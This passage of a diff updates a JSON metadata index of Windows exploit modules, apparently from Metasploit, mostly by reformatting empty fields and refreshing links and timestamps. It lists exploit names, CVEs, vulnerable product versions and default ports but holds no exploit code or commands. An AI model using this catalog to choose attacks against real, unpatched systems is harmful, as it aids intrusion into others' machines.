- ], + "aliases": [], "rank": 300, "disclosure_date": "2008-06-16", "type": "exploit", @@ -150881,12 +134327,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -150897,17 +134339,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/viscom_movieplayer_drawtext": { "name": "Viscom Software Movie Player Pro SDK ActiveX 6.8", "fullname": "exploit/windows/browser/viscom_movieplayer_drawtext", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-12", "type": "exploit", @@ -150925,12 +134364,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows IE6-7", @@ -150943,17 +134378,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/vlc_amv": { "name": "VLC AMV Dangling Pointer Vulnerability", "fullname": "exploit/windows/browser/vlc_amv", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-23", "type": "exploit", @@ -150965,17 +134397,13 @@ "CVE-2010-3275", "OSVDB-71277", "URL-http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files", - "URL-http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11" + "URL-http://web.archive.org/web/20130610070348/http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6 on XP SP3", @@ -150983,24 +134411,21 @@ "Internet Explorer 8 on XP SP3", "Internet Explorer 7 on Vista" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/vlc_amv.rb", "is_install_path": true, "ref_name": "windows/browser/vlc_amv", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/vlc_mms_bof": { "name": "VLC MMS Stream Handling Buffer Overflow", "fullname": "exploit/windows/browser/vlc_mms_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-15", "type": "exploit", @@ -151014,40 +134439,33 @@ "CVE-2012-1775", "OSVDB-80188", "URL-http://www.videolan.org/security/sa1201.html", - "URL-http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c" + "URL-http://web.archive.org/web/20130612051447/http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6 on XP SP3", "Internet Explorer 7 on XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/browser/vlc_mms_bof.rb", "is_install_path": true, "ref_name": "windows/browser/vlc_mms_bof", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/webdav_dll_hijacker": { "name": "WebDAV Application DLL Hijacker", "fullname": "exploit/windows/browser/webdav_dll_hijacker", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2010-08-18", "type": "exploit", @@ -151064,12 +134482,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -151080,17 +134494,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/webex_ucf_newobject": { "name": "WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow", "fullname": "exploit/windows/browser/webex_ucf_newobject", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-08-06", "type": "exploit", @@ -151115,12 +134526,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -151131,17 +134538,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/wellintech_kingscada_kxclientdownload": { "name": "KingScada kxClientDownload.ocx ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/wellintech_kingscada_kxclientdownload", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-01-14", "type": "exploit", @@ -151160,12 +134564,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -151176,17 +134576,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/winamp_playlist_unc": { "name": "Winamp Playlist UNC Path Computer Name Overflow", "fullname": "exploit/windows/browser/winamp_playlist_unc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-01-29", "type": "exploit", @@ -151203,12 +134600,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winamp 5.12 Universal" ], @@ -151219,17 +134612,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/winamp_ultravox": { "name": "Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow", "fullname": "exploit/windows/browser/winamp_ultravox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-18", "type": "exploit", @@ -151245,12 +134635,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winamp 5.24" ], @@ -151261,17 +134647,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/windvd7_applicationtype": { "name": "WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/windvd7_applicationtype", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-03-20", "type": "exploit", @@ -151287,12 +134670,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English ALL", "Windows XP Pro SP0/SP1 English" @@ -151304,17 +134683,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/winzip_fileview": { "name": "WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/winzip_fileview", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-11-02", "type": "exploit", @@ -151330,12 +134706,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7" ], @@ -151346,17 +134718,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/wmi_admintools": { "name": "Microsoft WMI Administration Tools ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/wmi_admintools", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-12-21", "type": "exploit", @@ -151377,12 +134746,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows Universal", @@ -151395,17 +134760,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/x360_video_player_set_text_bof": { "name": "X360 VideoPlayer ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/x360_video_player_set_text_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-30", "type": "exploit", @@ -151421,12 +134783,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -151437,17 +134795,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/xmplay_asx": { "name": "XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow", "fullname": "exploit/windows/browser/xmplay_asx", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-11-21", "type": "exploit", @@ -151464,12 +134819,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English SP4", "Windows XP Pro SP2 English" @@ -151481,17 +134832,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/yahoomessenger_fvcom": { "name": "Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/yahoomessenger_fvcom", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-08-30", "type": "exploit", @@ -151508,12 +134856,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 Pro English" ], @@ -151524,17 +134868,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/yahoomessenger_server": { "name": "Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/yahoomessenger_server", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-05", "type": "exploit", @@ -151549,12 +134890,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1 Pro English", "Windows 2000 Pro English All" @@ -151566,17 +134903,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/zenturiprogramchecker_unsafe": { "name": "Zenturi ProgramChecker ActiveX Control Arbitrary File Download", "fullname": "exploit/windows/browser/zenturiprogramchecker_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-05-29", "type": "exploit", @@ -151592,12 +134926,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -151608,17 +134938,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/browser/zenworks_helplauncher_exec": { "name": "AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution", "fullname": "exploit/windows/browser/zenworks_helplauncher_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-19", "type": "exploit", @@ -151637,12 +134964,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -151653,8 +134976,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, @@ -151727,9 +135049,7 @@ "exploit_windows/dcerpc/ms03_026_dcom": { "name": "MS03-026 Microsoft RPC DCOM Interface Overflow", "fullname": "exploit/windows/dcerpc/ms03_026_dcom", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-07-16", "type": "exploit", @@ -151748,12 +135068,8 @@ "platform": "Windows", "arch": "", "rport": 135, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT SP3-6a/2000/XP/2003 Universal" ], @@ -151781,9 +135097,7 @@ "exploit_windows/dcerpc/ms05_017_msmq": { "name": "MS05-017 Microsoft Message Queueing Service Path Overflow", "fullname": "exploit/windows/dcerpc/ms05_017_msmq", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-04-12", "type": "exploit", @@ -151800,12 +135114,8 @@ "platform": "Windows", "arch": "", "rport": 2103, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 ALL / Windows XP SP0-SP1 (English)" ], @@ -151816,17 +135126,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/dcerpc/ms07_029_msdns_zonename": { "name": "MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)", "fullname": "exploit/windows/dcerpc/ms07_029_msdns_zonename", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-04-12", "type": "exploit", @@ -151844,12 +135151,8 @@ "platform": "Windows", "arch": "", "rport": 0, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic (2000 SP0-SP4, 2003 SP0-SP2)", "Windows 2000 Server SP0-SP4+ English", @@ -151882,17 +135185,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/dcerpc/ms07_065_msmq": { "name": "MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow", "fullname": "exploit/windows/dcerpc/ms07_065_msmq", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-12-11", "type": "exploit", @@ -151908,12 +135208,8 @@ "platform": "Windows", "arch": "", "rport": 2103, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Server English" ], @@ -151924,17 +135220,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/email/ms07_017_ani_loadimage_chunksize": { "name": "Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)", "fullname": "exploit/windows/email/ms07_017_ani_loadimage_chunksize", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-03-28", "type": "exploit", @@ -151986,17 +135279,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/email/ms10_045_outlook_ref_only": { "name": "Outlook ATTACH_BY_REF_ONLY File Execution", "fullname": "exploit/windows/email/ms10_045_outlook_ref_only", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-01", "type": "exploit", @@ -152036,17 +135326,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/email/ms10_045_outlook_ref_resolve": { "name": "Outlook ATTACH_BY_REF_RESOLVE File Execution", "fullname": "exploit/windows/email/ms10_045_outlook_ref_resolve", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-01", "type": "exploit", @@ -152086,17 +135373,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/emc/alphastor_agent": { "name": "EMC AlphaStor Agent Buffer Overflow", "fullname": "exploit/windows/emc/alphastor_agent", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-05-27", "type": "exploit", @@ -152112,12 +135396,8 @@ "platform": "Windows", "arch": "", "rport": 41025, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC AlphaStor 3.1" ], @@ -152128,17 +135408,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/emc/alphastor_device_manager_exec": { "name": "EMC AlphaStor Device Manager Opcode 0x75 Command Injection", "fullname": "exploit/windows/emc/alphastor_device_manager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-18", "type": "exploit", @@ -152157,12 +135434,8 @@ "platform": "Windows", "arch": "x86", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC AlphaStor 4.0 < build 800 / Windows Universal" ], @@ -152173,17 +135446,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/emc/networker_format_string": { "name": "EMC Networker Format String", "fullname": "exploit/windows/emc/networker_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-29", "type": "exploit", @@ -152202,12 +135472,8 @@ "platform": "Windows", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC Networker 7.6 SP3 / Windows Universal", "EMC Networker 7.6 SP3 / Windows XP SP3", @@ -152220,17 +135486,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/emc/replication_manager_exec": { "name": "EMC Replication Manager Command Execution", "fullname": "exploit/windows/emc/replication_manager_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-02-07", "type": "exploit", @@ -152249,12 +135512,8 @@ "platform": "Windows", "arch": "x86", "rport": 6542, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EMC Replication Manager 5.2.1 / Windows Native Payload" ], @@ -152265,17 +135524,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/a_pdf_wav_to_mp3": { "name": "A-PDF WAV to MP3 v1.0.0 Buffer Overflow", "fullname": "exploit/windows/fileformat/a_pdf_wav_to_mp3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-17", "type": "exploit", @@ -152293,12 +135549,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -152309,17 +135561,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/abbs_amp_lst": { "name": "ABBS Audio Media Player .LST Buffer Overflow", "fullname": "exploit/windows/fileformat/abbs_amp_lst", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-30", "type": "exploit", @@ -152335,12 +135584,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1" ], @@ -152351,17 +135596,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/acdsee_fotoslate_string": { "name": "ACDSee FotoSlate PLP File id Parameter Overflow", "fullname": "exploit/windows/fileformat/acdsee_fotoslate_string", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-09-12", "type": "exploit", @@ -152378,12 +135620,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ACDSee FotoSlate 4.0 Build 146" ], @@ -152394,17 +135632,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/acdsee_xpm": { "name": "ACDSee XPM File Section Buffer Overflow", "fullname": "exploit/windows/fileformat/acdsee_xpm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-11-23", "type": "exploit", @@ -152420,12 +135655,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ACDSee 9.0 (Build 1008)" ], @@ -152436,17 +135667,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/actfax_import_users_bof": { "name": "ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow", "fullname": "exploit/windows/fileformat/actfax_import_users_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-08-28", "type": "exploit", @@ -152464,12 +135692,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1" ], @@ -152480,17 +135704,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/activepdf_webgrabber": { "name": "activePDF WebGrabber ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/activepdf_webgrabber", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-08-26", "type": "exploit", @@ -152505,12 +135726,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], @@ -152521,17 +135738,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_collectemailinfo": { "name": "Adobe Collab.collectEmailInfo() Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_collectemailinfo", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-08", "type": "exploit", @@ -152547,12 +135761,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)" ], @@ -152563,17 +135773,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_cooltype_sing": { "name": "Adobe CoolType SING Table \"uniqueName\" Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_cooltype_sing", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-09-07", "type": "exploit", @@ -152592,12 +135799,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -152608,17 +135811,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_flashplayer_button": { "name": "Adobe Flash Player \"Button\" Remote Code Execution", "fullname": "exploit/windows/fileformat/adobe_flashplayer_button", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-28", "type": "exploit", @@ -152639,12 +135839,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -152655,17 +135851,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_flashplayer_newfunction": { "name": "Adobe Flash Player \"newfunction\" Invalid Pointer Use", "fullname": "exploit/windows/fileformat/adobe_flashplayer_newfunction", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-04", "type": "exploit", @@ -152684,12 +135877,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -152700,17 +135889,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_flatedecode_predictor02": { "name": "Adobe FlateDecode Stream Predictor 02 Integer Overflow", "fullname": "exploit/windows/fileformat/adobe_flatedecode_predictor02", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-08", "type": "exploit", @@ -152723,39 +135909,32 @@ "CVE-2009-3459", "BID-36600", "OSVDB-58729", - "URL-http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html", + "URL-http://web.archive.org/web/20201207001443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/", "URL-http://www.adobe.com/support/security/bulletins/apsb09-15.html" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Windows Universal (JS Heap Spray)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/windows/fileformat/adobe_flatedecode_predictor02.rb", "is_install_path": true, "ref_name": "windows/fileformat/adobe_flatedecode_predictor02", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_geticon": { "name": "Adobe Collab.getIcon() Buffer Overflow", "fullname": "exploit/windows/fileformat/adobe_geticon", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-03-24", "type": "exploit", @@ -152773,12 +135952,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader Universal (JS Heap Spray)" ], @@ -152789,17 +135964,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_illustrator_v14_eps": { "name": "Adobe Illustrator CS4 v14.0.0", "fullname": "exploit/windows/fileformat/adobe_illustrator_v14_eps", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-03", "type": "exploit", @@ -152817,12 +135989,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -152833,17 +136001,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_jbig2decode": { "name": "Adobe JBIG2Decode Memory Corruption", "fullname": "exploit/windows/fileformat/adobe_jbig2decode", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-02-19", "type": "exploit", @@ -152862,12 +136027,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader v9.0.0 (Windows XP SP3 English)", "Adobe Reader v8.1.2 (Windows XP SP2 English)" @@ -152879,17 +136040,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/fileformat/adobe_libtiff": { "name": "Adobe Acrobat Bundled LibTIFF Integer Overflow", "fullname": "exploit/windows/fileformat/adobe_libtiff", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-02-16", "type": "exploit", @@ -152910,12 +136068,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - 